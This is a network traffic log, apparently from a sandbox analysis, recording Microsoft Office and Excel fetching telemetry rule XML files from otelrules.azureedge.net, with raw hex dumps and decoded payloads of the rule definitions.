2024-12-08 09:47:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.8	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:32 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:32 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094732Z-r1cf579d7789trgthC1EWRkkfc00000005pg0000000028aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:32 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.8	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094732Z-r1cf579d778w59f9hC1EWRze6w0000000590000000001q2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49742	13.107.246.63	443	6732	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:33 UTC	219	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:33 UTC	472	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:33 GMT Content-Type: text/plain Content-Length: 1113975 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 07 Dec 2024 15:08:57 GMT ETag: "0x8DD16D1127B2D50" x-ms-request-id: b6f850ec-d01e-0066-0756-49ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094733Z-r1cf579d778zvkpnhC1EWRv23g000000056g000000003p21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:33 UTC	15912	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 Data Ascii: !#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32" I="1" O="false">
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 Data Ascii: <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32" I="0" O="false">
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 Data Ascii: <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <L> <S
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T="28" /> </C>
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d 34 33 63 39 2d 62 61 34 63 2d 39 35 32 65 65 31 33 30 35 34 30 Data Ascii: Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-43c9-ba4c-952ee130540
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d Data Ascii: > <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U64" I="0" O="true" N=
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 37 38 35 32 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d Data Ascii: "4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V V="27852" T="I32" />
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d Data Ascii: <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException"> <C> <S T=
2024-12-08 09:47:34 UTC	16384	IN	Data Raw: 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 Data Ascii: ="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L> <S T="5

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.8	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:34 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094734Z-r1cf579d778kr8xrhC1EWRfkun00000005k00000000008pr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.8	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3fcfbabf-e01e-0052-0903-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094734Z-r1cf579d7784wpmvhC1EWRk4cn00000004h0000000000zfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.8	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:34 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094734Z-r1cf579d7782ctslhC1EWRfbrw00000005k0000000000kwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> 